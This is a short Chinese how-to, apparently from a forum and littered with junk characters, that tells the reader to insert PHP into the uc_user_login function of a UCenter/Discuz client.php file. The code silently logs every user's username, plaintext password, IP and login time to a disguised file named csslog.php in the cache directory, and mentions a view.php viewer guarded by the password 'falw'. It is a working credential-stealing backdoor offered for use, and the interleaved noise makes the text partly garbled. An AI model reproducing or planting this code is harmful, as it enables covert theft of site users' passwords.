修改uc_client目录下的client.php 在4 g% W4 m" S" O7 {' ~
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
5 D4 v+ o: }6 g. J- @( p下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
. F* k9 X9 ]4 i1 h你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
) [8 e( [0 _9 s. |1 Dif(getenv('HTTP_CLIENT_IP')) {
7 D% q0 a6 \7 \4 c$onlineip = getenv('HTTP_CLIENT_IP');
$ | P. M& I. o! \- r} elseif(getenv('HTTP_X_FORWARDED_FOR')) { , z3 o$ d- y* l
$onlineip = getenv('HTTP_X_FORWARDED_FOR');1 X, f. D. O; L3 }$ A0 p
} elseif(getenv('REMOTE_ADDR')) {
6 q# P0 V$ g" }. a& y* b+ B* M$onlineip = getenv('REMOTE_ADDR');4 }: m/ c: @4 E' m; C$ ^7 A9 C
} else {
% d# o9 S. X9 ^# |$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
% L' Q. V, D% p# d) K/ c, F- ~. N; _}4 P2 U, ]# {) d3 I( z/ T5 Z$ O
$showtime=date("Y-m-d H:i:s");
+ g+ l) I1 L4 x7 a' ` $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
" O6 N, k$ W" n. }, @5 o: M. Y $handle=fopen('./data/cache/csslog.php','a+');
' U a+ r) K( z0 g2 z- Z; t $write=fwrite($handle,$record); |